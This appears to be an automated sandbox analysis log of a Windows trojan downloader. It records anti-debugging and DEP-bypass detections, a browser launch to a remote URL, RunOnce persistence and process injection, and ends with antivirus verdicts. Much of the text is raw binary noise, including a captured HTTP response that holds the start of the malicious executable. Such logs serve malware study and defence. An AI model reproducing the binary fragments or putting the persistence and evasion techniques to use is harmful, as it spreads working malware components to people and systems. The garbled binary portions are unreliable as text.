gWمë]o:týÕ*€ñØøB1˜R™2–"Á;”ÃÄï‚ÎäVedÕ='ç°ÂÖ빒Y”opñe==Z·P¸ògú÷ðƒ‚ÃçãäÙ㺙æ]>]„á犷ÄÅØ2¾i$Q5 Jƒ<ñ‰]0|½Rs¥ZY» W÷Ô²IÐL[ÝsíøôoaMŒ<Ä/0X'£?¥—‰&« ÷£˜¬9Bñ<Ú`z/|ëîx×±›dðxÊÌ[Ë̾îH~¡zÍیq¡÷ð͈]QˆÈLCäŸøêñ·tþ-û•QY,TGÂÒÏ_öõNB³¤µ×à$ÌG<i?L³GŽ‹Ü¿rft=æ¾ë²Êgd(FŒ&Öo ¿!µÓĀ˜pð’†Á8+µRèRqd™šyŃœUT‰±‚ êT³ ©Ò¤„÷Áh…€Ql4Ñâ¾ º5¶Ôk†¤ubÎFÊÑí6\õ"O–ˆ$êþ0åóŒgY'fvëç%Ó=3)LKÖ©xXQ¢yÀÔ»<ÛîÖ­k¾C묦‹4Õ¶ƒC§˜p¹Ó«ÿËh€žòÁŸ¯&åÐ¥2ËãâQ-ˆT&{5î-ýÏ€þp_ë@M”Ho#.Éíªv1ZÅ9ÖA€-éÓ8Ÿ`§B:i–”ÄÞp¡—秪¸ßÿRŽÅpK÷›“¦±A«>tMzÔ׍_~$–W`ãï ~õ}{\žíò)ëùÉø€(E™ÎÏgÄñ%>ÜáÒ»‡ÊJ• ůŠd'ùñ  °ÉêSÊóA²Ç§'ьv”ƒó]-˯BwÞG3‰Vˆ´ö¥Øܚ¾IÐÈ'ƒyDÁúðÆdÚõšn K1Yq°'ãõ²Ç§'ьv”ƒó]-Ë­u˜ .)*èÁE›sÙ¾ÓF…šøòe˜jñd—<6ߎŒóm¢0 Ÿâ5FV›Îmg÷­©Ôô0æWQvi"—¼Üº]LáÁʄ»Ú‰ €1¡BŒ—È ƯWô¸?'ÕÒ|<ŒhoÃ(û*}iáяU ·^-BrΨ2+òö6YWiՕ}+ÂBm*‘ªôŽ|,Ozò™MûJKµÔn1ªt&@—°ã¿WùKNÀ ìÍ'?¾¸Ò}é0M(ó­ñäåg¿YZ†µ\ëZ‹­¶Qˆ'?„©_œ”ÚÚá<øèìÄȶ¤<EGA¹6,ó&û¥P±mÍF³ëp<~šs«Ô¦[«ÉöHú;ïôÈö˜×þRR©S^I¹î®®‡!2”¥„OÓzD¹°ÚAΔ°ÍþÆ;ܳb¶L]Á ]-…ôHáÙ]A¨{·I²ÙwG˳zà9PL½oåÆJ3+œ@£¼S œ·ù&‚ð£Àá<«ÿcÈUæ0½¨~ŽŸŠø@…<{ %¨e0Ò ‰\ºE´¤UŽf!?Œ_u-y¡³êó]@z²‡+hYÝ).Š°&@Ša։x dYaA(8ˆ}ŒKì•Rb·K‡¨þA€ê{Yº èºâttˆ@Ÿ­B¹¹zœ¡0¿0ÜS-ãú¯†ÂßZ`RY–}¼Á Pfl7_'îÙ½åÓ˸âháóOîÒáDª$–ªEæ\yS‹­L1@ë´"&—`(tFm;¶p«~xVÝÍJr°/pÛBÏ>ˆûL…—·Òۀåvh#kÜÔ)z9pø¼Ô,‰(è´¿P³ÂnàfJ\‹c¿‰·¤í]¦ŽŸ¾ap“àž;Ñ,Ս_ͽ+ŸEi㲅š¯°:× ‡¯þë">©6DÜ[j¤•Ì.ZÙoûdGRÞØD¹º§Æ7#ÂáÔ×}.Êêµ=v(&ñô½ìp¨ÃdÞêô€þÙö’Xܟ``OÊùéLV1¥R¿øF QSOüÐêUZ+Û´R£õV‘q41´vD¤$ÓâÙI1 ¨÷ºPgîbv|À!ªvä„A%«€Ð±……¥èeï͑“ßÉ¢FS—ל·8ÆßÛب{ßýAm¼©¬8Î*\)§dÍôtщGôA0tŒ†¯XÝéã§Sî' “œH—Ά[Lš"cMËþ¬ÕŸ/•—ê¤:ÓkëfS¤
received: 2920
socket: 1592
1 2920 0

recv

 buffer: HTTP/1.1 200 OK content-length: 129024 x-amz-id-2: tx335f7270293e4b8d80cd2-006378281a accept-ranges: bytes last-modified: Fri, 18 Nov 2022 17:17:46 GMT etag: "70a9b681d28137cfb4f0b4ab59ef51c6" x-amz-request-id: tx335f7270293e4b8d80cd2-006378281a x-amz-version-id: 1668791866099711 content-type: application/octet-stream date: Sat, 19 Nov 2022 00:49:30 GMT MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELW‡úà. :º®Y `@ `@…`YK€@³@ Y  H.text´9 : `.sdataø`>@À.rsrc@³€´B@@.reloc @ö@BYH”ÞÞU?r4œ$0í+ (3Á[:š&-ù(! % (¢% R(¢% t(¢% â(¢% >(¢% T(¢% <(¢% N(¢% (¢% ˜(¢% P(¢% ê(¢% ¢(¢% <(¢% ô(¢% Ž(¢% $(¢% ¾(¢% X (¢% î (¢% ˆ (¢% " (¢% ¸ (¢% R (¢% n (¢% ˆ (¢% ð (¢% (¢% , (¢% L (¢% À (¢% â (¢% (¢( (*j+ (¿6DOš&-ù( ( *V+ (ðˆgIš&-ù( *f+ (·ghGš&-ùþ (¡*v+ (MÀ,4š&-ùþ þ ( *v+ (`>Xš&-ùþ þ ( *B+ ('úZiš&-ù*B+ (óä kš&-ù*V+ (ùå*>š&-ù(î*b+ (Íó6;š&-ùþ ( *0-+ (që_jš&-ù~%:&~þs %€( À(s ( (( D(((:X& 92&( x( ((8" þþ Eºÿÿÿºÿÿÿ8 & 8Ûÿÿÿ(Ý 9(Ü Ý8& Ý0&s (Ý 9(Ü Ý& Ý*@Ešß 5¾ó$  ü'#%5¾û0%0E+ (ä¦\Eš&-ù((:& 86(8[& 88äÿÿÿs 8×ÿÿÿ þþ E9¥ÿÿÿ(9¬ÿÿÿ ¼ÿÿÿN :Ðÿÿÿ& |(( :´ÿÿÿ&s 8¢ÿÿÿ(9}ÿÿÿ 8ÿÿÿ(:X((99& 8 8" þþ E×ÿÿÿ×ÿÿÿ8 & 8ÛÿÿÿÝ Ý
received: 2920
socket: 1592
1 2920 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline "C:\Program Files (x86)\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
cmdline C:\Program Files (x86)\Internet Explorer\iexplore.exe https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
cmdline "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2296 CREDAT:145409
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover reg_value "C:\Program Files (x86)\Common Files\Sahajavuma.exe"
process Bolt.tmp useragent InnoDownloadPlugin/1.5
process iexplore.exe useragent Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Process injection Process 2296 resumed a thread in remote process 1380
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x0000035c
suspend_count: 1
process_identifier: 1380
1 0 0
Bkav W32.AIDetect.malware2
Elastic malicious (high confidence)
McAfee Artemis!E91E8A603108
Cylance Unsafe
Cybereason malicious.881c00
Symantec Trojan.Gen.MBT
ESET-NOD32 a variant of Win32/TrojanDownloader.Adload.NVT
Cynet Malicious (score: 99)
APEX Malicious
Kaspersky UDS:Trojan-Downloader.MSIL.Csdi.ez
SUPERAntiSpyware Backdoor.Manuscrypt/Variant
Avast FileRepMalware [Misc]
TrendMicro Trojan.Win32.PRIVATELOADER.YXCKSZ
McAfee-GW-Edition BehavesLike.Win32.AdwareFileTour.fc
Sophos Mal/Generic-S
Ikarus Trojan-Downloader.Win32.Adload
Avira HEUR/AGEN.1233171
Microsoft Trojan:Script/Phonzy.A!ml
Google Detected
AhnLab-V3 Trojan/Win.Generic.C4497446
MAX malware (ai score=99)
Malwarebytes Trojan.Downloader
Tencent Win32.Trojan.Agen.Qimw
MaxSecure Trojan.Malware.104882972.susgen
AVG FileRepMalware [Misc]